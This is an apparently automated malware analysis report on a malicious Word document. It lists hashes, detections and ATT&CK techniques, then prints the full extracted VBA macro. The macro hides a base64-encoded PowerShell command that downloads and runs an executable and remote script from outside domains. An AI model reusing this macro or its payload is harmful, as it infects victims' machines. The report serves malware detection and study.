Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b67584f6baec9752…

MALICIOUS

Office (OOXML)

66.5 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-02-10
MD5: 6bfb69bc644a2ea5303a0f6f24744fec SHA-1: 5c0cf042a0219bd28b5cfe20b30221e978aecb01 SHA-256: b67584f6baec97528656dfbff7749f7eb355497706359db0c4bd981c15b3e854
324 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The AutoClose macro utilizes GetObject to interact with WMI (Win32_Process) to create a new process, a common technique for downloading and executing secondary payloads. ClamAV detection further confirms its malicious nature as 'Doc.Downloader.Powload-6707242-0'.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3327 bytes
SHA-256: 93094e019ea18ca9381c5d05345906383050ccba0f2fe23a7814555d5f1bd555
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function stylopized(padstone)
  Const suturation = 0
  carbamyls = "."
  Set spindliest = GetObject("winmgmts:" _
      & "{impersonationLevel=impersonate}!\\" _
      & carbamyls & "\root\cimv2")
  Set muchnesses = spindliest.Get("Win32_ProcessStartup")
  Set outvoice = muchnesses.SpawnInstance_
  outvoice.ShowWindow = suturation

  Set dominion = spindliest.Get("Win32_Process")
  prealcohol = dominion.Create _
      (padstone, Null, outvoice, intProcessID)
End Function


Private Function beefish(nephrectomy)
  crustless = Array("0", "j", "7", "J", "P", "Y", "W", "v", "2", "a", "9", "S", "B", "6", "H", "t", "V", "F", "4", "5", "R")
  gusher = Array("l", "t", "s", "c", "C", "p", "B", "o", "i", "y", " ", "w", "E", "a", "r", "e", "N", "-", "h", "x", ".")
  
  angarias = vbNullString
  
  For Each spelldown In nephrectomy
    glareola = booter(spelldown, crustless, UBound(crustless))
    If glareola > -1 Then
    angarias = gusher(glareola) & angarias
    End If
  Next
  
  beefish = StrReverse(angarias)
  
End Function

Public Function booter(grandmother, overfoul, unmeddlingly)
  circumnavigates = 3
  croat = 1992
  For circumnavigates = 0 To unmeddlingly
    If overfoul(circumnavigates) = grandmother Then
     croat = circumnavigates
    End If
  Next

  If croat = 1992 Then
    croat = -1
  End If
  
  booter = croat
End Function

Sub AutoClose()
  nephrectomy = Array("Y", "v", "S", "t", "H", "7", "4", "t", "0", "0", "R", "t", "5", "t", "9", "F", "V", "v", "B", "5", "2", "j", "9", "F", "B", "5", "t", "J", "9", "W", "a", "Y", "6", "7", "7", "9", "F", "B", "P", "9")
  hoofmark = "IAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGsAawBhAG4AcwBkAHEAdwBqAGUAZQBxAGIAbgB2AGMAegBtAHgAYwAuAGMAbwBtAC8AUwBTAC8AZABvAGcAZwAuAHQAegBtACcALAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXABjADgAZQA5ADgAYgA1ADQALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAnAFwAYwA4AGUAOQA4AGIANQA0AC4AZQB4AGUAJwA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AawBrAGEAbgBzAGQAcQB3AGoAZQBlAHEAYgBuAHYAYwB6AG0AeABjAC4AYwBvAG0ALwBzAC4AcABoAHAAPwBpAGQAPQBkAG8AZwBnACcAKQA7ACAASQBFAFgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBjAG4AaABvAHQAZQBsAHQAZQB4AC4AYwBvAG0ALwBTAHQAYQB0AC4AYwBvAHUAbgB0ACcAKQApADsA"
  toil = beefish(nephrectomy)
  
  Application.Run "ponderment", toil + hoofmark
  
End Sub


Private Sub ponderment(padstone)
   
   phanariote = DateDiff("s", #1/1/1970#, Now())
   beads = True
   
   While beads
     exradio = phanariote + 60
     If exradio - phanariote > 1 Then
       Application.Run "stylopized", (padstone)
       beads = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 0aaf916dfb9679a6679d85c7b7743a1135dd5911d17c3fe2a9512f777b60fda1
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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